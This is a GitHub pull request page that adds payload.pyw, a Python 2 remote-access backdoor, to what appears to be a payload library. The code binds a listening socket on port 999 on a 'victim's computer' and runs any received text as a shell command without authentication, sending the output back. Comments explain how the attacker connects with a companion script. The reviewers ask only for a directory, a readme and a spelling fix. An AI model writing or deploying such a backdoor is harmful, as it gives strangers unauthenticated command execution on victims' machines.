Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create payload.pyw #29

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
55 changes: 55 additions & 0 deletions payloads/library/remote-access/payload.pyw
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your payload should have its own directory, payloads/library/remote-access/example-name/payload.pyw

I would also highly recommend including a readme.md with instructions on configuration and use.

Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
# -*- encoding: utf-8 -*-
# !/usr/bin/python
# Created by NanoCoder
# Works on all device with python!
# You have to start on the victim's computer or other device RemoteTerminal.pyw
# You can find Connect_To.py here: https://github.com/kaasmanxd/Packet-Squirrel-payload/blob/master/Connect_To.py
# If you have done that, you have to start on the attacker his computer Terminal or Command Prompt and then type this:
# Python Connect_To.py [Victem's ip] [Victem's port]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Typo: Victim*

# When you have done that, you are ready and you can type your commands.

from sys import platform as _platform
import subprocess, platform, socket, select, os
from thread import *

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

HOST = ''
PORT = 999

server.bind((HOST, PORT))
server.listen(100)
list_of_clients = []

def clientthread(conn, addr):

conn.send(" Welcome to Remote " + platform.system() + " Terminal Service")
conn.send(b'\nYou are connected !\n')

while True:
try:
message = conn.recv(1048)
if message:
proc = subprocess.Popen(str(message), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
conn.send(b'\n' + stdoutput)
else:
remove(conn)

except:
continue

def remove(connection):
if connection in list_of_clients:
list_of_clients.remove(connection)

while True:

conn, addr = server.accept()
list_of_clients.append(conn)
print "Got connection from", addr
start_new_thread(clientthread,(conn,addr))

conn.close()
server.close()